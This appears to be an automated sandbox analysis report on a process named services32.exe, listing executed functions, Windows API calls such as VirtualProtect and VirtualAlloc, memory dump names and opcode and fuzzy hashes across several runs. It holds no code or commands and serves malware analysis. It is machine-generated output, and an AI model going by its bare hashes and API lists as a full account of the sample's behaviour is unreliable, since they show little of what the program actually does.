GetVolumeInformationA.KERNELBASE ref: 00007FFA3603AAC9

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 9b09ae4bb1eb137c9c3df7fdce64db030353466f54f1cfada768a0546d7eff12
Instruction ID: c2443ea640afd621b8ef6e6b528736b9989a205e049ba5e439e1251e6a02f580
Opcode Fuzzy Hash: 9b09ae4bb1eb137c9c3df7fdce64db030353466f54f1cfada768a0546d7eff12
Instruction Fuzzy Hash: A2F17E30518A8D8FEBA8DF28C8567F977E1FF59301F10827AD84ED7281DA75A941CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3602BDC8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

s6, xrefs: 00007FFA3602BDC9

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID:
String ID: s6
API String ID: 0-1220389484
Opcode ID: 763857ce4fade9263b52a294f7086d58f382f46db43f23ad649c172684af1859
Instruction ID: 5a03a19ef1770dbef6d842738ed7ce482294a41bcc078ae85c7e27a8a3a593dd
Opcode Fuzzy Hash: 763857ce4fade9263b52a294f7086d58f382f46db43f23ad649c172684af1859
Instruction Fuzzy Hash: 8521B131908A1C8FEB58DB58D806BF9BBE0EF56321F00812ED04DD3692DB65A956CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36031FC9, Relevance: 1.7, APIs: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FFA360320DE

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f45069b7d44b91b4c6921355d9be2220b2cae04450173f2602d73abcdb7221df
Instruction ID: 5905441cad0b2ed8f8058eb8e5804d7284cc7328f8c697c5d3fb70cb91e2ba67
Opcode Fuzzy Hash: f45069b7d44b91b4c6921355d9be2220b2cae04450173f2602d73abcdb7221df
Instruction Fuzzy Hash: FB41A73190DB885FDB59DB689815AA97FF0EF56311F0441AFE049D3253CB25A805CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3603243D, Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFA3603252A

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 81f5febca910b6653452562dae0d270afb70ab36605bb6b5e6eb186028f707da
Instruction ID: 6ee4a39ad6291b1c3ed44bcce54b381703afad71fd376bdc7578915b8014581c
Opcode Fuzzy Hash: 81f5febca910b6653452562dae0d270afb70ab36605bb6b5e6eb186028f707da
Instruction Fuzzy Hash: C341D77190CB8C4FDB19EB6898056E9BBF0FB66311F14426FE089D3252DA35A846C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3603256D, Relevance: 1.6, APIs: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 00007FFA36032623

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 17e9d1bbd3da1e83e96295602cb913f2815e64a097521bb592f25fd2928d8662
Instruction ID: 413043f9df07fd4a54afd946a57b87f71e24785c8f1008eae9c9c51d34e53715
Opcode Fuzzy Hash: 17e9d1bbd3da1e83e96295602cb913f2815e64a097521bb592f25fd2928d8662
Instruction Fuzzy Hash: BC31083190CA498FDB1CEB6CD806AF97BE0FB5A321F14426ED04DD3252CB75A816CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36032A19, Relevance: 1.6, APIs: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FFA36032AC2

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f711284b9d6821b07f88d2ebb62e39db52a7224bdbe16c6dd2dc72fd29097107
Instruction ID: 13d7469730078401820ce48c4f699160090d1788eebca94f62eb84303234c6d4
Opcode Fuzzy Hash: f711284b9d6821b07f88d2ebb62e39db52a7224bdbe16c6dd2dc72fd29097107
Instruction Fuzzy Hash: 5E31E53190CB4C8FDB28DF6898466F97BF1EB66311F04426FD049D3292DB756806CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36032668, Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFA36032705

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 3d2d01f71df39a0bcd85e03cdddcf4723404c1e47d9e7df18595ee9d4a3f627c
Instruction ID: cbc1aded515695bfa2d489d35227c208a2e43aec6ef17bd4e0710012532fed28
Opcode Fuzzy Hash: 3d2d01f71df39a0bcd85e03cdddcf4723404c1e47d9e7df18595ee9d4a3f627c
Instruction Fuzzy Hash: 8531E73190CA0D8FEB59DB68C846BF9BBE0EF56321F00422ED04DD3692DB656856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36039A36, Relevance: 1.4, APIs: 1, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92efc96a61724917ac9e1f6aaed377974ae5e631f4a56eea946d3de615fa6ba0
Instruction ID: fee719f64b6a219cca68598db1d6052c75c5c376595a962f8cb9ca1d8e319a1f
Opcode Fuzzy Hash: 92efc96a61724917ac9e1f6aaed377974ae5e631f4a56eea946d3de615fa6ba0
Instruction Fuzzy Hash: FF51263190CA894FEB55DBA888162F8BFF1FF5B321F0481BAD04DD3292DE256846C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36039B2D, Relevance: 1.4, APIs: 1, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FFA36039BD8

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 900eaed3384bff589ff44375932570ccbe739411fe74d5651c8bf0b5e45c889f
Instruction ID: 24f10ec678bf7d292df6ce5b63bb0ecfa8eb13031dbdc95dc445126d10d3d591
Opcode Fuzzy Hash: 900eaed3384bff589ff44375932570ccbe739411fe74d5651c8bf0b5e45c889f
Instruction Fuzzy Hash: 7731C63190CA4C8FDB18EB58D846BF97BE0FB96321F14826ED04ED3652DB656816CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36039D14, Relevance: 1.4, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FFA36039DC1

Memory Dump Source

Source File: 00000007.00000002.774797754.00007FFA36020000.00000040.00000001.sdmp, Offset: 00007FFA36020000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8df2c9fcd1a1f886eb533a373b4bb2c0727863f1a1deb734ae603025307b644f
Instruction ID: 4c6e28b384e16626bd1a9214ab8c8ca096dd5b62b34b4931a769e109f5c30054
Opcode Fuzzy Hash: 8df2c9fcd1a1f886eb533a373b4bb2c0727863f1a1deb734ae603025307b644f
Instruction Fuzzy Hash: 7A312F3190C7588FEB2CEB68D8476F97BF0EB56321F10417ED08ED3292DA656846CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360E0094, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.775065405.00007FFA360E0000.00000040.00000001.sdmp, Offset: 00007FFA360E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5811dca98439802d595481a3fdb4d5ab987a8190ca4a6258d2cd6fa4197c4ec6
Instruction ID: de394c2313d34220a98b16b52f3a562b635c422bbf63717aa90f5afd5ece5fb4
Opcode Fuzzy Hash: 5811dca98439802d595481a3fdb4d5ab987a8190ca4a6258d2cd6fa4197c4ec6
Instruction Fuzzy Hash: AF31C122A0DBC54FE31A5768A85A6703FE1EF9B210F0981FBD08EC7293DC495C568396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360E0A05, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.775065405.00007FFA360E0000.00000040.00000001.sdmp, Offset: 00007FFA360E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a25d26a82f64059332f986c90a7e84c3ff70a1e860c7af68e467f620498fe5d
Instruction ID: e7c0c76731c7d639af63fae8db5ef21c58e45d49389009fae308f1129f34d751
Opcode Fuzzy Hash: 8a25d26a82f64059332f986c90a7e84c3ff70a1e860c7af68e467f620498fe5d
Instruction Fuzzy Hash: D621A161A8EB8A4FE756976C18A91B47FE0DF5720070D80FBD08DC71A3DC5E5C5A8351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360E0AE2, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.775065405.00007FFA360E0000.00000040.00000001.sdmp, Offset: 00007FFA360E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b96e4238b8cb6a5e784667a6c6fb535fab8db21e36b16bc220ce31cd017469b
Instruction ID: 189d3b5787ad2448d5f56f1f9d567a39d65ca618bfd6c189f79d7241a1dbeb9c
Opcode Fuzzy Hash: 6b96e4238b8cb6a5e784667a6c6fb535fab8db21e36b16bc220ce31cd017469b
Instruction Fuzzy Hash: 9F014F5288E7D14FE74343B41C7A8A07FF09E1320070E90DBD0C98F1A3E44E585AE322

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: services32.exe PID: 5948 Parent PID: 968 services32.exeCOMMON

Executed Functions

Function 00007FFA3602A689, Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNELBASE ref: 00007FFA3602AAC9

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: da5f9e820f8bde93a9b12f9cf2d8d6adbaf4460a42cccb6f4daa93a12fd28755
Instruction ID: e5ba3fb8383df92d3ca14c79040bef7cb4c6effb804926cd1d7e209921251214
Opcode Fuzzy Hash: da5f9e820f8bde93a9b12f9cf2d8d6adbaf4460a42cccb6f4daa93a12fd28755
Instruction Fuzzy Hash: CFF17D30518A8D8FEB68DF28C856BE977E1FF59301F00827AD84EC7281DE75A941CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3601BDC8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

s6, xrefs: 00007FFA3601BDC9

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID:
String ID: s6
API String ID: 0-1670445487
Opcode ID: 6b362db4b937f4ae17a60164d1d5a8d6ec38c4de182a71d778b131e7480307c5
Instruction ID: 1876db7016ea17c8fd804e8bf19617d8bceca33fb8685227cf4794f3cfbb043b
Opcode Fuzzy Hash: 6b362db4b937f4ae17a60164d1d5a8d6ec38c4de182a71d778b131e7480307c5
Instruction Fuzzy Hash: 7221C53190CA0C9FEB58DB989846BF97BF0FF56321F00812ED04DD3692DB65A855CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36021FC9, Relevance: 1.7, APIs: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FFA360220DE

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2ba37bdb9cb2db12d8a9a912dce5df366b9500016457580042eb4229e7c8de73
Instruction ID: 83df0da7d7f6f5e26cbc31168ba714c25e0c86d3c933e0f5e5bf5bf6f7082432
Opcode Fuzzy Hash: 2ba37bdb9cb2db12d8a9a912dce5df366b9500016457580042eb4229e7c8de73
Instruction Fuzzy Hash: 4E41A43190DB885FDB59DB689856AA97FF0EF57310F0882AFD08DD3253CB25A805CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3602243D, Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFA3602252A

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 19f5749d7316e92ab3cf03a7a7e296baaf9a2ebdb51f2df931287c767a03b0d1
Instruction ID: 7ccdc77a37bb212d9fd5a04ff6f023c190eebc9841d48ffbb7757a077adf694d
Opcode Fuzzy Hash: 19f5749d7316e92ab3cf03a7a7e296baaf9a2ebdb51f2df931287c767a03b0d1
Instruction Fuzzy Hash: AB41D67190CB8C4FDB15EB6898056E9BFF0EF66311F0482AFD089D3252DA35A846C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3602256D, Relevance: 1.6, APIs: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 00007FFA36022623

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 345bc39f1f100e0833bbf2daa802095261acc38db193ffc187849aaff81ea24b
Instruction ID: e58ad39d68df8742389bebf4d39f79cc6d5bdc0e4c5fdf58e358d00fc28f75ce
Opcode Fuzzy Hash: 345bc39f1f100e0833bbf2daa802095261acc38db193ffc187849aaff81ea24b
Instruction Fuzzy Hash: 3231F63190CA4D8FDB18EB6C9846AF87BE0FF5A321F14426ED04DD3252CA75A852CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36022A19, Relevance: 1.6, APIs: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FFA36022AC2

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 97338c90fc59f4e5ef9a063a37b980762d3c0e6015e286efb8b15b006a90a582
Instruction ID: 9e079bad393f8d46219be83362621dd48658cc9a94852df3597291b620e7cb45
Opcode Fuzzy Hash: 97338c90fc59f4e5ef9a063a37b980762d3c0e6015e286efb8b15b006a90a582
Instruction Fuzzy Hash: FD31E43190CB4C8FDB28DFA898466F97BF1EF56711F04426FD049D3292DB656846CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36022668, Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFA36022705

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 298692b1557f540953e06711f981e717a26e22ceda4084a17cd6a4ab22689ce3
Instruction ID: 0a609a4cd0939b18ea02127a8f80e77f8102155dbdd28f86ae4ea4b3e4d3fe90
Opcode Fuzzy Hash: 298692b1557f540953e06711f981e717a26e22ceda4084a17cd6a4ab22689ce3
Instruction Fuzzy Hash: 8F312B3190CA4C8FEB58DBA898467F9BBE0EF56321F00422ED04DD3192DB656856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36029A36, Relevance: 1.4, APIs: 1, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17b112e946b4066d97bd1732f2c485c6b2d5671db040e5bc0c4ab50ab39c9cdd
Instruction ID: 22bf2c5079b7c0907d2e4898f4af09ff2d242287406bf2407733c41091506267
Opcode Fuzzy Hash: 17b112e946b4066d97bd1732f2c485c6b2d5671db040e5bc0c4ab50ab39c9cdd
Instruction Fuzzy Hash: CD51E43190CB8D4FEB55DBA898166E8BBF1EF9B320F0481BAD04DD3293CE655846C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36029B2D, Relevance: 1.4, APIs: 1, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FFA36029BD8

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 965e8c966feb3b8d1b11781233c9c2207c04f226d0cff9796ef61ca84a2c9c42
Instruction ID: 18324a810187e21e1205653e53d7891413753192e8e26d17e3f6795f83bc6150
Opcode Fuzzy Hash: 965e8c966feb3b8d1b11781233c9c2207c04f226d0cff9796ef61ca84a2c9c42
Instruction Fuzzy Hash: 9031C63190CA4C8FDB18EB58D846AF9BBE0FB96321F04826ED04DD3652DB656816CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36029D14, Relevance: 1.4, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FFA36029DC1

Memory Dump Source

Source File: 0000000F.00000002.839988645.00007FFA36010000.00000040.00000001.sdmp, Offset: 00007FFA36010000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a9f16200487cce42c800957bb7eacbee51aa177e75a7d3c52b28560304dbe8c8
Instruction ID: 22a50a37d296a60d9534d8df250c40ad19537306d87a53e11d4cf13f4ad0d921
Opcode Fuzzy Hash: a9f16200487cce42c800957bb7eacbee51aa177e75a7d3c52b28560304dbe8c8
Instruction Fuzzy Hash: E2310D3190C7488FEB2CDB68D846AF97BE0EF56321F00417ED08ED3292DE656846CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360D0C21, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.840107034.00007FFA360D0000.00000040.00000001.sdmp, Offset: 00007FFA360D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88019589ec5233ab541909472a01206fc223ac51ba740d0843c2775ce3b5806
Instruction ID: 87881627adfda8140c0a0f9fbd55da3e071293bfa315ed3d7254375ca2ce472f
Opcode Fuzzy Hash: a88019589ec5233ab541909472a01206fc223ac51ba740d0843c2775ce3b5806
Instruction Fuzzy Hash: F54110A694E7C14FE35787741C6A6907FB09F23210B0E91EBD089CB1F3E84E594AD726

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360D0094, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.840107034.00007FFA360D0000.00000040.00000001.sdmp, Offset: 00007FFA360D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db94f9cb72e086f1b3cc1116cba8dc7c22ef8e2b591f22d3e9bb3836a8914497
Instruction ID: d02bf97a1dd06619079533295fb186a50e684de53d81905ad8a991ed6bbc3cf4
Opcode Fuzzy Hash: db94f9cb72e086f1b3cc1116cba8dc7c22ef8e2b591f22d3e9bb3836a8914497
Instruction Fuzzy Hash: F431AF22A0DBC51FE31A576C585A6643FE1EB5B214F0982FBD08EC72A3DC499C468396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360D0A09, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.840107034.00007FFA360D0000.00000040.00000001.sdmp, Offset: 00007FFA360D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcf4a12bae1deb65a7783cfc3ddfaabe6ca3b2a0fe3d6373441e70ffd61d191
Instruction ID: 8dadab57e3d678facc33541890393dd3152e1f1e9d911707296a67135d3c45f6
Opcode Fuzzy Hash: 2fcf4a12bae1deb65a7783cfc3ddfaabe6ca3b2a0fe3d6373441e70ffd61d191
Instruction Fuzzy Hash: E621BE61A0EBCA4FE3569B6D186A2B43FE0DF67204B0981F7D48DC72A3EC1E58468355

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: services32.exe PID: 6972 Parent PID: 6484 services32.exeCOMMON

Executed Functions

Function 00007FFA3600A689, Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 00007FFA3600AAC9

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: bfbf2ae8b975858881c58ad377bc454411d56bc209c7a8cde1a9097aed25bb7e
Instruction ID: b8807c6dd97db95641db2391773a6457ed7e90dd809a28c57a03fbb2aa09fb3e
Opcode Fuzzy Hash: bfbf2ae8b975858881c58ad377bc454411d56bc209c7a8cde1a9097aed25bb7e
Instruction Fuzzy Hash: 2CF18030518A8D8FEB68DF28C8567F977E1FF59301F10827AD84EC7282DA75A945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600200C, Relevance: 1.6, APIs: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFA360020DE

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1fb6900ad5063b12589f40fcbdd9b4cb6379c98a42ba4890aad739f619190aee
Instruction ID: 34e4746472c926e70918cb2bee8b3e693c6ff6c0d3caf437b3080fb132cda7a7
Opcode Fuzzy Hash: 1fb6900ad5063b12589f40fcbdd9b4cb6379c98a42ba4890aad739f619190aee
Instruction Fuzzy Hash: 7431A53190CA5C4FDB58EF5C984AAE97BE0FB69321F04422FE04DD3252DB75A845CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600246B, Relevance: 1.6, APIs: 1, Instructions: 128COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFA3600252A

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 0d1442830f55d5628e60a2f78addcd20d26557f9948a5d6ce9d99239b98541c3
Instruction ID: 4950114e2fe0fbb9f955369a97029c84ec5090cdf6ffc9b67e51bc0a29d11174
Opcode Fuzzy Hash: 0d1442830f55d5628e60a2f78addcd20d26557f9948a5d6ce9d99239b98541c3
Instruction Fuzzy Hash: 5231953191CA0C4FDB58EF58D845AF9B7E0FB69311F10423EE04ED3251DA71A8468B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600256D, Relevance: 1.6, APIs: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 00007FFA36002623

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 271a69f35f398df9a13010069e7953be029345f362987d09d8216db90d23ae3a
Instruction ID: e791e73feaf79e6bee57a8025ec3b923cc76fa7720c8db3bf90db1fe411bf2c6
Opcode Fuzzy Hash: 271a69f35f398df9a13010069e7953be029345f362987d09d8216db90d23ae3a
Instruction Fuzzy Hash: 29312A3190CA498FDB18EB6CD806AF87BE0FB5A321F14426ED04DD3252DB756816CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36002A19, Relevance: 1.6, APIs: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FFA36002AC2

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: accb6c8dac5b5f212380e51b0c0caf3a11b973ac431efdfe65819c88c2384a11
Instruction ID: 6e7d7a517627bc3776e4186ff169ba52972103af93dc116c0803184c2127a1eb
Opcode Fuzzy Hash: accb6c8dac5b5f212380e51b0c0caf3a11b973ac431efdfe65819c88c2384a11
Instruction Fuzzy Hash: CC31E53190CB4C8FDB28DF68984A6F97BF1EBA6311F04426FD049D3292DB746806CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35FFBDC8, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8fe8a32c53c75aa6f1b6c9aa4131bc3659560e8bf2a0523460d0eec7b8ec52
Instruction ID: bd581196a4e195f59fe2f191a2377d3b0a7645d99fde8aaeef550fa4c8a11ec3
Opcode Fuzzy Hash: 3a8fe8a32c53c75aa6f1b6c9aa4131bc3659560e8bf2a0523460d0eec7b8ec52
Instruction Fuzzy Hash: 7B21C53190CA0C8FEB58DB5888067F9BBE0EB56321F00812FD04DD3692DB65A855CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600268B, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 00007FFA36002705

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e8784f9baa50a52a25216b3d079dc33e31b5858eb57c3abd3106440479ae8d66
Instruction ID: b54c0648184e56256697e2b0d9d8efd3f293f558c47c8a7493948400110173a8
Opcode Fuzzy Hash: e8784f9baa50a52a25216b3d079dc33e31b5858eb57c3abd3106440479ae8d66
Instruction Fuzzy Hash: E121C431908A1C9FDB58EF58C84ABF9B7E0FB65321F00822ED04ED3651DB75A856CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36009A36, Relevance: 1.4, APIs: 1, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6de59861132d70ad3a4c57489e34d7b6baf23b529ae77546b4e124bf4eed48
Instruction ID: df20d5a83bb6c1ec1e293aace4280f2a56505af5efbd9a923069020d290255bf
Opcode Fuzzy Hash: fd6de59861132d70ad3a4c57489e34d7b6baf23b529ae77546b4e124bf4eed48
Instruction Fuzzy Hash: 0951D53190CA8D4FE755DBA898566F9BBF1EF5B320F0881BAC04DD3293CE655846C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36009B2D, Relevance: 1.4, APIs: 1, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FFA36009BD8

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1feabef3dd67d3d7c9d16d5b5213340cda820edae81e95497a596f3871a6648a
Instruction ID: 9853867eb5639fff7d076f084945627b39159a36a6d32a33132c98bc63d5ad8f
Opcode Fuzzy Hash: 1feabef3dd67d3d7c9d16d5b5213340cda820edae81e95497a596f3871a6648a
Instruction Fuzzy Hash: 5A31C83190CA4C8FDB58EB58D846AF9B7E0FB56321F04426FD04ED3652CB656816CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36009D14, Relevance: 1.4, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FFA36009DC1

Memory Dump Source

Source File: 00000013.00000002.824256581.00007FFA35FF0000.00000040.00000001.sdmp, Offset: 00007FFA35FF0000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 1760570e146fba6c803712983e64b16606151ad28e36769d921e9e2d4e802428
